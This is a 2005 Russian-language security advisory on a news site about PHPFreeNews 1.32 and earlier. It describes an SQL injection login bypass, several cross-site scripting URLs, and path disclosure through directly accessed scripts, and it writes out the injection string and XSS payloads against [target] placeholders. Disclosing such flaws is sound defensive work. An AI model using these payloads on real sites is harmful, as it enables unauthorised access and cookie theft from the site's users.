|
|
|
|
| Архив новостей |
 |
|
|
|
|
|
|
 |
|
| Новостные сайты |
 |
|
|
|
 |
|
|
|
|
| Безопасность |
 | |
 |
|
|
02.08.2005 07:40 |
| |
Межсайтовый скриптинг и SQL-инъекция в PHPFreeNews |
 |
Программа: PHPFreeNews 1.32 и более ранние версии
Опасность: Средняя
Наличие эксплоита: Да
Описание: Обнаруженные уязвимости позволяют удаленному пользователю произвести XSS нападение и выполнить произвольные SQL команды в базе данных приложения.
1.
Удаленный пользователь может послать специально сформированный запрос приложению и выполнить произвольные SQL команды в базе данных. Пример:login: Adminpassword: ') or isnull(1/0) or ('a'='a2.
Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий в браузере жертвы в контексте безопасности уязвимого сайта. Примеры:http://[target]/[path]/inc/Footer.php?ScriptVersion=< script>alert(document.cookie)</script>http://[target]/[path]/inc/ScriptFunctions.php?FullNews DisplayMode=3& NewsDir=)}//--></script><script>alert(document.cookie)</script>http://[target]/[path]/inc/ScriptFunctions.php?EnableRatings=1&NewsDir= )}//--></script><script>alert(document.cookie)</script>http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&NewsDir= )}//--></script><script>alert(document.cookie)</script>http://[target]/[path]/inc/ScriptFunctions.php?FullNewsDisplayMode=3&PopupWidth=)}//--></script><script>alert(document.cookie)</script>http://[target]/[path]/inc/Script Functions.php?FullNewsDisplayMode=3&PopupHeight=)}//--></script><script>alert(document.cookie)</script>http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&PopupWidth=)}//--></script><script>alert(document.cookie)</script>http://[target]/[path]/inc/ScriptFunctions.php?EnableComments=1&PopupHeight=)}//--></script><script>alert(document.cookie)</script>3.
Удаленный пользователь может непосредственно обратится к сценарию и получить данные об установочной директории приложения на системе. Уязвимые сценарии:http://[target]/[path]/inc/ArchiveOldNews.phphttp://[target]/[path]/inc/Categori es.phphttp://[target]/[path]/inc/CheckLogout.phphttp://[target]/[path]/inc/CommentsApproval.phphttp://[target]/[path]/inc/Images.phphttp://[target]/[path]/inc/New sList.phphttp://[target]/[path]/inc/Password.phphttp://[target]/[path]/inc/Post.phphttp://[target]/[path]/inc/PostsApproval.phphttp://[target]/[path]/inc/PurgeOld News.phphttp://[target]/[path]/inc/SetSticky.phphttp://[target]/[path]/inc/SetVisible.phphttp://[target]/[path]/inc/Statistics.phphttp://[target]/[path]/inc/Templ ate.phphttp://[target]/[path]/inc/UserDefinedCodes.phphttp://[target]/[path]/inc/Users.php
URL производителя: www.phpfreenews.co.uk
Решение: Способов устранения уязвимости не существует в настоящее время.
|
 |
|
|
|
| Новости по теме |
 | |
 |
|
|
|
|